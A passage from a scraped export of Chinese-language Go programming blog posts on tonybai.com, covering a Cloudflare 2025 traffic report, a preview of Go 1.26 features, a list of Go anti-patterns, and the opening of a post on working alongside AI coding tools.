Gemini）进行大规模的数据抓取和训练。\n2025 年，Googlebot 贡献了超过 28% 的“已验证机器人”流量，其爬取量远超 OpenAI 的 GPTBot (7.5%) 和微软的 Bingbot (6%)。\nAI 用户行为流量激增 15 倍 报告将 AI 爬虫流量分为三类：训练 (training)、搜索 (search) 和用户行为 (user action)。其中，“用户行为”指的是当用户在 ChatGPT 等应用中提问，AI 为了回答问题而去实时访问外部网站所产生的流量。\n2025 年，这类“用户行为”驱动的 AI 爬取流量，增长了超过 15 倍！\n这预示着一个全新的互联网范式正在形成：越来越多的流量，将不再由人类直接发起，而是由 AI 智能体，为了服务于人类的需求而发起。\nGo 在 AI 基础设施中的角色 这对 Go 开发者意味着什么？\nAI 模型本身或许由 Python 主导，但支撑这些模型进行大规模数据爬取、数据处理、模型服务（API serving）的庞大基础设施，正是 Go 语言大显身手的领域。\n当你看到 ChatGPT、Perplexity 等服务的流量排名在“生成式 AI 服务”榜单中不断攀升时，可以想见，其背后必然有无数由 Go 编写的高性能 API 网关、数据管道和后端服务在默默支撑。\n其他值得关注的趋势 后量子加密曙光：由人类产生的、采用后量子加密的 Web 流量份额，在 2025 年从年初的 29% 增长到了 52%。这主要得益于苹果在 iOS 等操作系统中默认开启了对混合量子安全密钥交换的支持。 HTTP/3 稳步增长：全球使用 HTTP/3 和 HTTP/2 的 Web 请求份额都在微弱增长，HTTP/3 的占比达到了 21%。 Starlink 流量翻倍：卫星互联网服务 Starlink 的流量在 2025 年翻了一番，显示出其在全球“连接未连接者”方面的巨大潜力。 小结语：站在时代的潮头 Cloudflare 的 2025 年度报告，为我们描绘了一幅激动人心的画卷。在这幅画卷中，Go 语言不仅是当前云原生和 API 经济的绝对王者，更是即将到来的 AI 时代不可或缺的核心基础设施构建者。\n“五分之一的 API 请求由 Go 发出”——这个数据，不仅仅是一个值得骄傲的里程碑，更是对 Go 语言设计哲学——简单、高效、并发——在真实世界中取得巨大成功的最有力证明。作为 Gopher，我们正站在时代的潮头。\n资料链接：\nhttps://blog.cloudflare.com/radar-2025-year-in-review/ https://radar.cloudflare.com/year-in-review/2025 你的“体感”如何？\n数据告诉我们，Go 正在制霸 API 领域。在你日常的工作中，是否也感受到了 Go 在微服务、网关或 AI 基础设施中的统治力？或者，你观察到了 Python 或 Rust 在哪些特定领域正在发起挑战？\n欢迎在评论区分享你的一线观察，让我们一起拼凑出更真实的技术版图！\n如果这篇文章让你对 Go 的未来更有信心，别忘了点个【赞】和【在看】，并转发给你的团队！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/17/cloudflare-2025-report-go-language-api-traffic-ai-surge/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/cloudflare-2025-report-go-language-api-traffic-ai-surge-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/17/cloudflare-2025-report-go-language-api-traffic-ai-surge\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/17/cloudflare-2025-report-go-language-api-traffic-ai-surge\"\u003ehttps://tonybai.com/2025/12/17/cloudflare-2025-report-go-language-api-traffic-ai-surge\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，互联网基础设施巨头 Cloudflare 发布了其备受瞩目的《\u003ca href=\"https://radar.cloudflare.com/year-in-review/2025\"\u003e2025 年度互联网回顾报告\u003c/a\u003e》。这份基于其全球庞大网络数据的报告，如同一面镜子，映照出全球互联网在流量、技术、安全和 AI 等领域的最新脉搏。\u003c/p\u003e","title":"Cloudflare 2025 年度报告发布——Go 语言再次“屠榜”API 领域，AI 流量激增！"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/16/go-1-26-foresight\n大家好，我是Tony Bai。\n随着2025年11月末 Go 1.26 开发分支的功能冻结（Feature Freeze），这份预计于 2026 年初发布的版本终于揭开了神秘面纱。\n回望刚刚过去的两年，Go 语言经历了一段密集的**“能力扩容期”。从 Go 1.21 对结构化日志与泛型库的标准化整合**，到 Go 1.22 彻底修复循环变量语义，再到 Go 1.23 正式引入迭代器（Iterators）机制，Go 团队一直在致力于构建现代化的语言基础设施。这些改动虽然必要，但也让Go生态经历了一段漫长的消化与适配期。\n而即将到来的 Go 1.26，则是一次回归工程本质的胜利。\n这个版本没有引入重塑编程范式的颠覆性语法，而是将目光聚焦于那些开发者日夜相伴的痛点——在“看得见”的编码体验和“看不见”的底层性能上，进行了大刀阔斧的精细化打磨。\n从彻底解决长期 GC 延迟痛点的 “Green Tea” 引擎，到大幅降低 Cgo 开销的底层优化，再到千呼万唤始出来的 new(expr) 语法糖。Go 1.26 用实际行动证明：在“后泛型时代”，Go 依然在追求极致性能与开发者幸福感的道路上狂飙。\n本文将基于最新的发布说明，从语法、运行时、标准库及工具链四个维度，为你全景解读 Go 1.26 的核心变化，带你提前领略下个版本的技术魅力。\n语言层面：一项“真香”的语法糖 new(expr)：告别辅助变量 Go 语言在语法层面一向克制，但 Go 1.26 引入了一项极具实用价值的改动：内置函数 new() 现在支持**表达式（Expression）**作为操作数。\n痛点场景：\n在处理 JSON、Protobuf 或数据库 ORM 映射时，为了区分“零值”和“未设置”，我们经常使用指针（如 int、 bool）。但在 Go 1.26 之前，创建一个指向常量的指针非常繁琐：\n// Old (Go 1.25 及之前) age := 18 u := User{ Name: \u0026#34;Alice\u0026#34;, Age: \u0026amp;age, // 必须先定义变量，因为无法对字面量取地址 } Go 1.26 新体验：\n现在，new 函数不仅分配内存，还允许直接利用表达式进行初始化。这让代码变成了声明式的“一行流”：\n// New (Go 1.26) u := User{ Name: \u0026#34;Alice\u0026#34;, // 直接传入字面量或函数返回值，返回对应类型的指针 Age: new(18), // 甚至可以是计算结果 Days: new(calculateDays(startDate)), } 这一改动极大地提升了编写配置结构体和序列化代码时的流畅度，消除了大量无意义的中间变量。更多详情，请参见《从 Rob Pike 的提案到社区共识：Go 或将通过 new(v) 彻底解决指针初始化难题》一文。\n运行时与编译器：性能爆发 Go 1.26 在“看不见的地方”下了苦功，不仅引入了代号为“绿茶”的新一代 GC，还解决了 Cgo 和 Goroutine 泄露的两大难题。\n1. “Green Tea” GC：默认启用的性能引擎 在 Go 1.25 作为实验特性登场后，Green Tea GC 在 1.26 正式转正，成为默认垃圾回收器。\n核心优化： 针对小对象的标记和扫描进行了深度重构，极大地改善了内存局部性（Locality）和 CPU 扩展性。 硬件加速： 在较新的 AMD64 平台（Intel Ice Lake 或 AMD Zen 4 及以上）上，新 GC 会自动利用**向量指令（Vector Instructions）**加速扫描过程。 收益数据： 官方数据显示，在重度依赖 GC 的实际应用中，GC 开销降低了 10% – 40%。 兼容性： 如果遇到兼容性问题，可通过构建标签 GOEXPERIMENT=nogreenteagc 临时回退，但该选项计划在 Go 1.27 移除。 关于Green Tea GC的实现原理，可以参考《Go 官方详解“Green Tea”垃圾回收器：从对象到页，一场应对现代硬件挑战的架构演进》一文。\n2. Cgo 调用提速 30% 对于依赖 SQLite、图形库或其他 C 库的 Go 应用，这是一个巨大的利好。Go 1.26 将 Cgo 调用的基准运行时开销（Baseline Runtime Overhead）降低了约 30%。这意味着跨语言调用的成本进一步被摊薄，Go 在系统编程领域的竞争力再次提升。\n注：我尚未从Go 1.26的milestone的issue列表中找到对应的该cgo提速所对应的issue。\n3. 原生 Goroutine 泄露分析 (Experimental) Goroutine 泄露一直是 Go 并发编程中隐蔽且棘手的难题。虽然社区已有 uber-go/goleak 等优秀工具，但它们大多局限于单元测试场景，难以在复杂的生产环境中捕捉那些长期运行的“僵尸” Goroutine。\nGo 1.26 引入的 goroutineleak Profile 则是这一领域的降维打击。该特性源自 Uber 的内部实践，旨在解决学术界称为“偏死锁（Partial Deadlocks）”的问题。\n与传统工具简单统计 Goroutine 数量不同，该功能基于 GC 的可达性分析，复用了 Go 垃圾回收器（GC）的标记能力，但逻辑相反：\n标记阶段： 仅将**可运行（Runnable）**的 Goroutine 视为根节点（Roots），而非所有 Goroutine。 可达性传播： 标记所有从根节点可达的内存对象。 判定泄露： 检查那些处于阻塞状态的 Goroutine，看它们等待的并发原语（如 Channel、Mutex）是否被标记。如果一个 Goroutine 等待的 Channel 没有任何活跃的 Goroutine 能够引用到，那么这个 Goroutine 就被判定为“永久泄露”。 这种检测机制在理论上保证了零误报（No False Positives）。Uber 在内部对 3111 个测试套件进行了验证，相比传统工具多发现了 180 至 357 个不同类型的泄露；在某生产服务的 24 小时监控中，成功捕获了 3 个不同类别的真实泄露（共计 252 次报告）。\n由于该功能涉及运行时的深层改动，目前作为实验特性发布：\n开启方式： 编译时设置 GOEXPERIMENT=goroutineleakprofile（注：具体 flag 名称以最终发布为准) 触发检测： 该功能是按需触发的，不会增加常规运行时的开销。请求 net/http/pprof 的新端点 /debug/pprof/goroutineleak 时，会触发一次特殊的 GC 周期来完成分析，并返回仅包含泄露 Goroutine 的堆栈报告。 这一特性意味着开发者终于拥有了在生产环境“在线”诊断 Goroutine 泄露的听诊器。\n更多内容，可以参考《Goroutine泄漏防不胜防？Go GC或将可以检测“部分死锁”，已在Uber生产环境验证》一文。\n4. 内存分配器优化 编译器现在会生成针对特定大小的内存分配例程（Size-specialized memory allocation）。对于小于 512 字节的小对象，分配成本最高降低 30%。这对高并发、大量小对象的微服务场景有着普适性的性能提升（约为 1% 的端到端提升）。\n更多关于Go内存管理演进的内容，可以参考《从arena、memory region到runtime.free：Go内存管理探索的务实转向》一文。\n5. 编译器进化：逃逸分析再升级 对于 Go 开发者而言，“栈分配（Stack Allocation）”由于无需 GC 介入，其效率远高于堆分配。\nGo 1.26 的编译器进一步增强了逃逸分析能力：\nSlice 栈上分配： 编译器现在能够在更多场景下，将切片的**底层数组（Backing Store）**直接分配在栈上。这主要针对那些使用 make 创建但大小非固定的切片场景。 性能红利： 这一改进直接减少了堆内存的分配次数，进而降低了 GC 扫描的压力。对于高频创建临时切片的函数，性能提升将非常显著。 调试支持： 如果你怀疑该优化导致了栈溢出或其他问题，可以使用官方的 bisect 工具配合 -compile=variablemake 标志进行二分排查。 更多内容，可以参考《PGO 驱动的“动态逃逸分析”：w.Write(b) 中的切片逃逸终于有救了？》一文。\n6. Linker 与可执行文件优化 Windows/ARM64 增强： Linker 现已支持在 Windows/ARM64 平台上对 Cgo 程序使用 Internal Linking 模式（-linkmode=internal），进一步完善了对该架构的支持。 二进制文件瘦身： 对 ELF 和 Mach-O 文件的段结构进行了微调（如移除空的 .gosymtab 段，优化 moduledata 布局），使生成的可执行文件更加规范和紧凑。 标准库：拥抱迭代器与安全增强 标准库的更新主要集中在对新特性的适配（如迭代器）以及安全能力的补全。\n1. reflect 包拥抱迭代器 紧随 Go 1.23 引入的 iter 包，反射库在 1.26 也迎来了现代化改造。\n新方法： Type.Fields(), Type.Methods(), Value.Fields(), Value.Methods()。 变化： 这些方法直接返回迭代器（iter.Seq），允许开发者使用 for … range 循环直接遍历结构体字段或方法，替代了过去笨拙的 NumField() + Field(i) 索引遍历模式。 2. 安全新特性：crypto/hpke 与 runtime/secret crypto/hpke： 正式支持 RFC 9180 定义的 混合公钥加密 (HPKE)，包含对后量子（Post-Quantum）混合 KEM 的支持，为未来的加密战做好准备。 runtime/secret (实验性)： 提供了一个 secret.Do 函数。它能确保在函数执行完毕后，安全地擦除寄存器、栈以及新分配堆内存中的敏感数据，防止私钥等信息残留在内存中被恶意读取（Forward Secrecy）。详细解读参见《Go 安全新提案：runtime/secret 能否终结密钥残留的噩梦？》。 3. testing：测试产物管理 ArtifactDir 集成测试中产生的截图、日志或 Dump 文件终于有了官方的存放位置。\n新增 T.ArtifactDir() 方法，返回一个用于写入测试产物的目录路径。 配合 go test -artifacts=./out 参数，可以轻松地在 CI/CD 流水线中收集失败测试的现场证据，无需再手动拼接临时目录。 更多详情，请参考《Go testing包将迎来新增强：标准化属性与持久化构件API即将落地》一文。\n4. simd/archsimd：原生 SIMD 指令集支持 (Experimental) 这是高性能计算与密码学领域期待已久的功能。Go 1.26 引入了实验性的 simd 包，允许 Go 代码直接访问 CPU 的向量指令。\n支持范围： 目前首发支持 AMD64 架构，覆盖 128-bit、256-bit 和 512-bit 向量宽度的操作。 开启方式： 需在编译时设置环境变量 GOEXPERIMENT=simd。 意义： 这标志着在图像处理、矩阵运算等计算密集型场景下，Go 开发者将拥有接近手写汇编的优化潜力，且无需脱离 Go 语言环境。 更多详情，请参考《解锁CPU终极性能：Go原生SIMD包预览版初探一文。\n5. errors：泛型版 AsType 登场 errors.As 一直是 Go 错误处理中容易“踩坑”的 API（需要传递指针的指针，否则会 Panic）。Go 1.26 引入了泛型版本的 errors.AsType，彻底解决了这个问题。\n类型安全： 借助泛型约束，编译器能直接检查类型，告别运行时 Panic。 性能提升： 省去了复杂的反射开销，运行速度更快。 写法对比： // Old: 容易写错，运行时反射 var pathErr *fs.PathError if errors.As(err, \u0026amp;pathErr) { ... } // New: 类型安全，性能更好 if pathErr, ok := errors.AsType[*fs.PathError](err); ok { ... } 更多背景详情，请参考《泛型重塑Go错误检查：errors.As的下一站AsA？》一文。\n6. log/slog：原生支持多路输出 日志“扇出（Fan-out）”是常见需求（例如同时输出到控制台和文件）。\nNewMultiHandler： 创建一个能够同时将日志分发给多个 Handler 的处理器。 机制： 只要任意一个子 Handler 处于 Enabled 状态，该日志就会被处理。这消除了以往需要为了多路输出而编写第三方 Wrapper 的麻烦。 更多详情，请参考《slog 如何同时输出到控制台和文件？MultiHandler 提案或将终结重复造轮子》。\n7. net：协议拨号补全 Context 虽然 Dialer.DialContext 早已普及，但针对特定协议的拨号方法一直缺乏 Context 支持。\n新方法： DialIP, DialTCP, DialUDP, DialUnix。 改进： 这些新方法现在均接受 context.Context 参数，让特定网络协议的连接建立也能享受到超时控制和取消能力。 8. 其他重要更新 io.ReadAll： 算法优化，内存分配更少（减少中间 Buffer），速度提升约 2 倍。 image/jpeg： 编码器和解码器被完全重写，速度更快，精度更高。 net/http： Client 新增 NewClientConn，方便需要手动管理连接池的高级用户；新增 StrictMaxConcurrentRequests 配置以更好控制 HTTP/2 流并发。 time： asynctimerchan 彻底移除。无论 GODEBUG 如何设置，Timer 现在总是使用无缓冲（同步）通道，行为更加一致。 工具链与生态 1. go 命令的演进 go tool doc 已死，go doc 当立： 以前混淆的 go tool doc 命令已被删除，现在统一使用 go doc。 go fix 脱胎换骨： go fix 命令经历了彻底重构。它移除了所有过时的历史修复器（如 context 迁移等），转而采用与 go vet 相同的标准 Analysis Framework。现在，go fix 默认集成了一套全新的分析器，专门用于自动将代码升级为更现代的 Go 写法（例如自动清理旧的 +build 标签，或应用其他现代化改进）。 2. Pprof 默认火焰图 go tool pprof -http 打开的 Web UI 界面，现在默认展示火焰图 (Flame Graph)。这一改动反映了火焰图已成为性能分析的事实标准，开发者不再需要多点一次菜单切换视图。\n3. 平台支持调整 macOS： Go 1.26 是支持 macOS 12 (Monterey) 的最后一个版本。 Windows/Arm： 彻底移除了已损坏的 32 位 windows/arm 移植。 PowerPC： Linux ppc64 (大端序) 将在下一版本移除。 小结 Go 1.26 展现了 Go 团队在“后泛型时代”的工程重心：精细化打磨。\n对于业务开发者，new(expr) 和 ArtifactDir 提供了触手可及的便利；对于平台工程师，Green Tea GC 和 Cgo 的优化则意味着免费的性能午餐；而对于库作者，反射迭代器和安全包的加入则拓展了能力的边界。\nGo 1.26 预计将于 2026 年 2 月正式发布，现在即可使用 gotip 或Go playground尝鲜体验。\n本文基于 Go 1.26 Draft Release Notes 整理，具体特性以最终发布版本为准。\n聊聊你的期待\nGo 1.26 看起来是一个“实惠”的版本，不仅有免费的性能提升，还有贴心的语法糖。在你看来，哪个新特性对你的日常开发帮助最大？或者，你对 Go 语言未来的发展还有什么更迫切的期待？\n欢迎在评论区留下你的看法，让我们一起期待 Go 1.26 的正式到来！\n如果这篇文章让你对 Go 的新版本有了更清晰的认识，别忘了点个【赞】和【在看】，并分享给身边的 Gopher 朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/16/go-1-26-foresight/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-1-26-foresight-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/16/go-1-26-foresight\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/16/go-1-26-foresight\"\u003ehttps://tonybai.com/2025/12/16/go-1-26-foresight\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着2025年11月末 Go 1.26 开发分支的功能冻结（Feature Freeze），这份预计于 2026 年初发布的版本终于揭开了神秘面纱。\u003c/p\u003e","title":"Go 1.26 新特性前瞻：从 Green Tea GC 到语法糖 new(expr)，性能与体验的双重进化"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/15/go-language-anti-patterns-10-donts\n大家好，我是Tony Bai。\n“有哪些‘不要做’的教训，是你花了好几年才学会的？”\n近日，在 r/golang 社区，这个简单的问题，引爆了一场关于 Go 语言“反模式”与“最佳实践”的集体反思。帖子下数百条评论，汇集了无数 Gopher 在真实项目中用“血与泪”换来的宝贵经验。这些教训，往往不是关于某个高深的算法，而是关于那些看似“理所当然”，却在不经意间为代码埋下地雷的日常习惯。\n这篇文章，正是对这场集体智慧的一次系统性梳理。我们从中提炼出 10 条最核心的“不要做”法则，它们如同一份“避坑指南”，能帮助你绕开那些最常见的陷阱，更快地从一名“会写 Go 的程序员”，成长为一名“懂 Go 的工程师”。\n不要过度封装包 Don’t overpackage things\n初学者往往有一种冲动，想把代码组织成“语义化”的、层层嵌套的包结构。internal/models, internal/services, internal/repositories…… 这种源自其他语言（如 Java）的模式，在 Go 的世界里，往往是一种过早的、不必要的复杂性。\n社区忠告：从一个 main.go 文件开始。努力思考，是否真的有必要将代码拆分到多个文件/包中。Go 的包，其主要目的是封装和依赖管理，而不是单纯的文件夹分类。在小型或中型项目中，一个清晰的、扁平的包结构，远比一个复杂的“企业级”目录树更易于维护。\n不要滥用 channel 和 goroutine Don’t just add in channels\n并发是 Go 的“名片”，这使得许多开发者（尤其是新手）有一种“锤子心态”——看到任何问题，都想用 goroutine 和 channel 来解决。然而，不必要的并发，是复杂性和 bug 的温床。\n社区忠告：\n先问“是否需要”：你真的需要并发吗？如果不需要在线程间传递消息，你可能根本不需要 channel。一个简单的 sync.WaitGroup 或 sync.Mutex，在很多场景下都比 channel 更简单、更直接。 并发不是免费的：Go 让创建 goroutine 变得异常简单，但这并不意味着它是零成本的。过多的 goroutine 会增加调度器的负担，而 channel 的滥用则会使数据流变得难以追踪和调试。 不要盲目追求 DRY Don’t be zealous about DRY\nDRY 是编程的基本原则，但在 Go 的哲学中，它有一个更重要的“上级”——清晰性。为了消除几行重复代码，而引入一个复杂的接口或一个晦涩的辅助函数，往往得不偿失。\n社区忠告：“一点点复制，胜过一点点依赖 (a little copy-paste is better than a little dependency)。” 当你发现自己在为了 DRY 而绞尽脑汁时，请停下来问问自己：这份重复，是否真的带来了维护上的痛苦？如果不是，那么接受它，可能是一个更明智的选择。\n不要在同一个 PR 中既重构又添加新功能 Don’t refactor and add features in the same PR\n在添加一个新功能时，顺手“优化”一下周围的代码，这看起来很高效。但实际上，这会让 Code Review 变得异常痛苦。Reviewer 无法清晰地分辨，哪些改动是为新功能服务的，哪些是纯粹的重构。这不仅增加了审查的难度，也提高了引入新 Bug 的风险。\n社区忠告：遵循“童子军军规”——“让营地比你来时更干净”——是好的。但请将它分解为两个独立的、目标明确的 PR：一个只做重构，另一个（基于重构后的代码）只添加新功能。\n不要跳过写测试，“就这一次” Don’t skip writing tests “just this once”\n这是所有开发者都曾屈服过的诱惑。“这个改动太小了”、“我百分之百确定它是对的”、“项目赶时间”…… 每一次“就这一次”的妥协，都在为未来的“技术雪崩”添砖加瓦。\n社区忠告：将测试视为代码不可分割的一部分。在 Go 中，编写测试是如此简单和自然，以至于没有任何借口可以跳过它。你今天节省下来的 10 分钟，可能会在未来，让你或你的同事，花费数天时间去调试一个本可避免的生产问题。\n不要害怕使用 sync.Cond channel 非常强大，但它并非解决所有并发同步问题的“银弹”。社区中有一种“反 sync”的情绪，认为所有同步都应该用 channel 来完成。\n社区忠告：sync.Cond 是一个被低估了的、极其强大的并发原语。当你需要基于某个特定条件来唤醒一个或多个等待的 goroutine 时（例如，一个任务队列的消费者在队列为空时等待），sync.Cond 往往比用 channel 实现的复杂信令机制，要更简单、更高效。不要因为不熟悉，就回避它。\n不要返回接口 Returning interfaces. Don’t do it.\n在函数签名中返回一个接口，看似遵循了“依赖倒置”的高级原则，甚至觉得这样更“灵活”。但实际上，这往往是一种过早的、有害的抽象。它剥夺了用户访问底层具体类型特有功能的能力，并且如果未来需要添加新方法，接口的变更会极其痛苦。\n社区忠告：遵循 Go 的经典谚语：“接收接口，返回结构体 (Accept interfaces, return structs)。”\n接收接口：让你的函数接收一个只包含其所需最小方法集的接口作为参数。这使得你的函数更容易被测试和复用（你可以传入任何满足该接口的实现，包括 Mock 对象）。 返回结构体：让你的函数返回一个具体的类型（通常是指针）。这给了调用者最大的灵活性。 经典范例：\n看看标准库中的 os.Open，它返回的是 *os.File（具体结构体），而不是 io.Reader（接口）。\n为什么这样做？ 因为 *os.File 不仅能读（Read），还能关闭（Close）、获取状态（Stat）、甚至改变权限（Chmod）。\n灵活性：如果它返回的是接口，用户就无法使用 Chmod 等特有功能了。而返回结构体，用户既可以使用其全部功能，也可以在需要时，轻松地将其赋值给 io.Reader 接口来使用。这就是“返回结构体”带来的自由。\n(注：只有当返回的类型是包内私有的、不希望外部直接访问的实现细节时，返回接口才是有意义的，例如 context.WithCancel 返回的是 Context 接口。)\n不要过度依赖依赖 Don’t add dependencies without vetting\n为了解决一个小问题，而引入一个庞大的、闪亮的第三方库。这在 Node.js 生态中很常见，但在 Go 社区，这通常被视为一种“危险信号”。\n社区忠告：\n先求诸标准库：在引入任何依赖之前，先问问自己：这个问题，标准库真的解决不了吗？ 审慎评估：如果必须引入依赖，请仔细评估它：它的依赖树有多深？社区是否活跃？维护者是否可靠？一个简单的依赖，可能会为你整个项目，带来潜在的供应链安全风险和维护噩梦。 不要盲从 Don’t do [or not do] something simply because an authoritative voice recommended it\n盲目地遵循某个“大神”、某篇“爆款”博客文章、或者某个“权威”推荐的模式，而没有结合自己的具体场景进行批判性思考。\n社区忠告：上下文决定一切。YAGNI (You Aren’t Gonna Need It) 是一个好原则，但有时你确实需要提前设计。微服务很好，但有时单体就是最佳选择。没有银弹。最好的实践，是那些在你的团队、你的项目中，被证明行之有效的实践。\n不要忘记，代码是给人读的 忘记了代码的最终读者是人类，而不是编译器。编写只有自己能看懂的“聪明”代码，或者忽略文档和注释的重要性。\n社区忠告：\n编写能让你的未来“自已”不会痛骂你的代码。 好的设计不是增加，而是保持本质的简单。代码即是负债 (Code is liability)。 不要忽视清晰文档的重要性。 小结：在“坑”里成长 这份清单，远非全部。社区的讨论中还充满了诸如“不要用 singleton 来做 mock”、“不要滥用 init 函数”、“不要在疲劳时 Review 代码”等无数宝贵的经验。\n它们共同指向了一个核心思想：成为一名优秀的 Go 工程师，其过程不仅仅是学习语言的特性，更是一个不断反思、不断“踩坑”、并从“坑”中总结出属于自己“不要做”清单的修炼过程。希望这份来自社区的集体智慧，能让你在这条路上，走得更稳、也更远。\n资料链接：https://www.reddit.com/r/golang/comments/1pib68y/whats_a_dont_do_this_lesson_that_took_you_years/\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/15/go-language-anti-patterns-10-donts/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-language-anti-patterns-10-donts-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/15/go-language-anti-patterns-10-donts\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/15/go-language-anti-patterns-10-donts\"\u003ehttps://tonybai.com/2025/12/15/go-language-anti-patterns-10-donts\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“有哪些‘不要做’的教训，是你花了好几年才学会的？”\u003c/p\u003e\n\u003cp\u003e近日，在 r/golang 社区，这个简单的问题，引爆了一场关于 Go 语言“反模式”与“最佳实践”的\u003ca href=\"https://www.reddit.com/r/golang/comments/1pib68y/whats_a_dont_do_this_lesson_that_took_you_years/\"\u003e集体反思\u003c/a\u003e。帖子下数百条评论，汇集了无数 Gopher 在真实项目中用“血与泪”换来的宝贵经验。这些教训，往往不是关于某个高深的算法，而是关于那些看似“理所当然”，却在不经意间为代码埋下地雷的日常习惯。\u003c/p\u003e","title":"Go 语言的“反模式”清单：来自资深 Gopher 血泪教训的 10 条“不要做”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/14/dont-let-ai-put-your-brain-cpu-in-wait\n大家好，我是Tony Bai。\n先问一个扎心的问题：当你给 ChatGPT、Cursor 或 Claude Code 发送了一个复杂的 Prompt 之后，接下来的 30 秒到 1 分钟里，你在干什么？\n我观察过很多开发者，90% 的人是这样的：\n双手离开键盘，甚至抱在胸前，眼睛死死盯着屏幕上那个闪烁的光标，看着文字一个字一个字地蹦出来。心里默默念叨：“快点，再快点……”\n在计算机科学里，这叫什么？\n这叫 I/O 阻塞（Blocking I/O）。\n在这个场景里，AI 是那个慢速的 I/O 设备（就像早期的磁带机或机械硬盘），而你——拥有几十亿神经元、算力无法估量的人类大脑（CPU），却因为等待这个 I/O 响应，被迫挂起（WAIT），处于完全闲置的状态。\n这不仅仅是时间的浪费，这是算力的极大浪费。\n很多开发者抱怨：“AI 有时候太慢了，打断了我的思路。”\n但事实的真相可能是：不是 AI 慢，而是你的“调度算法”还停留在单核时代。\n职场新分层：单核工作者 vs. 多核工作者 随着 AI 能力的普及，代码生成的质量差距正在缩小。未来的竞争壁垒，将从“你会写什么 Prompt”转移到**“你如何管理与 AI 的并发交互”**。\n这导致了两种工作模式的分化，我们可以通过下面这张 “大脑CPU” 调度时序图来直观对比：\n模式 A：单核工作者（同步阻塞）\n特征： 就像单核 CPU 跑单线程程序。发完指令后，必须盯着屏幕等结果，算力被强行挂起（Wait）。\n痛点： 